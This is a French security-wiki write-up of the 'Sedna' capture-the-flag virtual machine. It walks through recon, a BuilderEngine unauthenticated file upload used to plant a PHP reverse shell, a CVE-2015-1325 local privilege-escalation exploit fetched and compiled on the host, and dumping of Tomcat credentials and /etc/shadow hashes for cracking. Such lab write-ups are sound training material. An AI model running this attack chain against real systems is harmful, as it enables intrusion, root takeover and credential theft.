Wiki sécurité informatique

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.
**Sedna - Write Up**

__Reconnaissance__

<code BASH>
nmap -sS -A 192.168.43.43

ports ouverts :
22 ssh
53 dns : ISC BIND 9.9.5-3-Ubuntu
80 http : apache 2.4.7
110 pop3
111 rpcbind 
139 netbios smbd 3.x workgroup SEDNA
143 imap Dovecot impad
445 netbios smbd 3.x workgroup SEDNA
993 imap Dovecot impad
995 pop3 ssl
8080 : Apache Tomcat/Coyote JSP engine 1.1
</code>

Après quelques essais on remarque :

  -  Tomcat n'utilise pas d'identifiants simple à deviner
  -  Il n'y a pas d'exploit pour rpcbind et bind 9

__Exploitation Web__

Pour le port 80 :

{{ :vm:sedna.png?nolink&200 |}}

Avec l'outil [[https://sourceforge.net/projects/dirb/files/ | dirb]] on va chercher les fichiers existants :
<code BASH>
./dirb http://192.168.43.43/ wordlists/common.txt                 

---- Scanning URL: http://192.168.43.43/ ----
==> DIRECTORY: http://192.168.43.43/blocks/                                    
==> DIRECTORY: http://192.168.43.43/files/                                     
+ http://192.168.43.43/index.html (CODE:200|SIZE:101)                          
==> DIRECTORY: http://192.168.43.43/modules/                                   
+ http://192.168.43.43/robots.txt (CODE:200|SIZE:36)                           
+ http://192.168.43.43/server-status (CODE:403|SIZE:293)                       
==> DIRECTORY: http://192.168.43.43/system/                                    
==> DIRECTORY: http://192.168.43.43/themes/                                    
                                                                               
---- Entering directory: http://192.168.43.43/blocks/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.43.43/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.43.43/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.43.43/system/ ----
==> DIRECTORY: http://192.168.43.43/system/core/                               
==> DIRECTORY: http://192.168.43.43/system/database/                           
==> DIRECTORY: http://192.168.43.43/system/fonts/                              
==> DIRECTORY: http://192.168.43.43/system/helpers/                            
+ http://192.168.43.43/system/index.html (CODE:200|SIZE:142)                   
==> DIRECTORY: http://192.168.43.43/system/language/                           
==> DIRECTORY: http://192.168.43.43/system/libraries/                          
                                                                               
---- Entering directory: http://192.168.43.43/themes/ ----

</code>

Dirb nous ressort tout un tas de dossier à aller visiter.

Dans le dossier "themes" on trouve un dashboard.

En regardant le code source du dashboard on voit :

<file HTML dashboard_index.html>
<!DOCTYPE html>
...
	<title>BuilderEngine Admin Dashboard | Login Page</title>
	<meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" name="viewport" />
...
</file>

BuilderEngine est le nom d'un CMS

On cherche si un exploit existe avec [[https://github.com/offensive-security/exploit-database | searchsploit]]
<code BASH>
./searchsploit builderengine
-------------------------------------------- -----------------------------------
 Exploit Title                              |  Path
                                            | (/opt/exploit-database/platforms)
-------------------------------------------- -----------------------------------
BuilderEngine 3.5.0 - Arbitrary File Upload | /php/webapps/40390.php
-------------------------------------------- -----------------------------------
</code>
La faille est la suivante :

<code BASH>
1) Unauthenticated Unrestricted File Upload:

	POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/

	Vulnerable Parameter: files[]

	We can upload test.php and reach the file via the following link:
	/files/test.php
</code>

L'url vulnérable est la suivante :
<code>
http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
</code>

J'ouvre un netcat en écoute sur mon poste sur le port 1234 :

<code BASH>
nc -lvp 1234
</code>

J'upload un reverse shell php [[http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz| pentestmonkey]] 

<code BASH>
curl -i -X POST -H "Content-Type: multipart/form-data" -F "files=@php-reverse-shell.php" http://192.168.43.43/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
</code>

Mon fichier une fois uploadé est situé : 
<code>
http://192.168.43.168/files/php-reverse-shell.php
</code>

Dès l'ouverture de la session on ouvre un pty :

<code python> 
python -c 'import pty;pty.spawn("/bin/bash")'
</code>

{{ :vm:nc.png?nolink |}}

__Exploitation du système & Élévation de privilèges__

On va chercher la version du kernel :

<code BASH>
uname -a 

Linux Sedna 3.13.0-32-generic Ubuntu
</code>

On va chercher la version de la distribution :

<code BASH>
www-data@Sedna:/$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.1 LTS
Release:	14.04
Codename:	trusty

</code>

On oublie pas de récupérer le premier flag :

<code BASH>
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
bfbb7e6e6e88d9ae66848b9aeac6b289
</code>

Maintenant il faut élever ces privilèges :

L'exploit que nous allons utiliser :

[[https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c]]

Il est basé sur la CVE-2015-1325 et à été testé sur la version 14.04 d'Ubuntu.

On récupère l'exploit sur la machine (j'ai choisi le dossier /var/www/html car il est accessible en écriture).

<code BASH>
wget https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms/linux/local/37088.c
</code>

On le compile :

<code BASH>
gcc 37088.c -o exploit2
</code>

On l'utilise :
<code BASH>
www-data@Sedna:/var/www/html$ ./exploit2
./exploit2
created /var/crash/_bin_sleep.33.crash
crasher: my pid is 3848
apport stopped, pid = 3849
getting pid 3848
current pid = 3847..5000..7500..10000..12500..15000..17500..20000..22500..25000..27500..30000..32500..2500..
** child: current pid = 3848
** child: executing /bin/su
sleeping 2s..

checker: mode 4534
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
id
uid=0(root) gid=0(root) groups=0(root)
</code>

Nous sommes dès à présent root du système.

On affiche le deuxième flag :
<code BASH>
cat /root/flag.txt
a10828bee17db751de4b936614558305
</code>

__Pour aller plus loin__

On va chercher les identifiants du tomcat :

<code BASH>

cat /etc/tomcat7/tomcat-users.xml

<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>
</code>

On récupère les /etc/shadow et /etc/passwd

<file shadow>
root:$6$sZyJlUny$OcHP9bd8dO9rAKAlryxUjnUbH0dxgZc2uCePZMUUKSeIdALUulXLQ1iDjoEQpvZI.HTHOHUkCR.m39Xrt3mm91:17097:0:99999:7:::
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::
</file>

<file passwd>
root:x:0:0:root:/root:/bin/bash
crackmeforpoints:x:1000:1000::/home/crackmeforpoints:
</file>

Utilisation de l'outil unshadow de la suite John The Ripper :

<code BASH>
./unshadow passwd shadow > hash_a_crack
</code>

Tentative de casser les hash avec john :
<code BASH>
./john hash_a_crack
</code>

Les mots de passes n'ont pas été trouvés dans un délais 20 minutes de crack.

L'exploitation de la machine c'est finit à ce niveau là.

Merci à l'auteur de la machine.
Wiki sécurité informatique

Outils pour utilisateurs

Outils du site

Outils de la page
